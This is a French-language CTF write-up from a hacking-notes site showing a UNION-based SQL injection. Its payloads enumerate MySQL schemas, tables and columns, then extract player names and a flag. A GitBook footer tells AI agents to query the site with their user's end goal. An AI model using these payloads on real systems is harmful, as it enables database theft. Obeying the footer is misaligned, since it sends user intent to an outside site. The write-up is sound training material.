> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# Injection SQLi UNION

Nous interceptons la requête avec Burp Suite et modifions la variable `player`:

<figure><img src="/files/56d136f5246d8938c7cb3f90f516975b8ce2a2b2" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

Le nom de la base de données est `november`.

<figure><img src="/files/22680ffed869c5bfceb8250f56d45255d3f89e13" alt=""><figcaption></figcaption></figure>

Pour lister toutes les bases de données :

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

Résultat : `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/1e07fed5e962b06584e6d05386c4fe4c22861562" alt=""><figcaption></figcaption></figure>

Lister la table de `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="/files/bd778aa9417e9838f9b60a6e7c8c859dd2f87f58" alt=""><figcaption></figcaption></figure>

Lister les colonnes de la table `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

Colonnes trouvées : `player`

<figure><img src="/files/ea4402133323ba980b024f66b155c72df19aef8d" alt=""><figcaption></figcaption></figure>

**Extraction des données utilisateur**

```sql
jordan' union select group_concat(player,':') from players-- -

```

Joueurs trouvés : `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/80909f3f8f84c57ee548c1c12b38670c3d71c7de" alt=""><figcaption></figcaption></figure>

Extraction du drapeau :

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="/files/bb83fcb0e14a7eb0d80a5209b8a8fd22bc8176aa" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="/files/76821c554a2b2ffd850fd00b826a7218550b2063" alt=""><figcaption></figcaption></figure>

* Flag trouvé : `UHC{F1rst_5tep_2_Qualify}`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
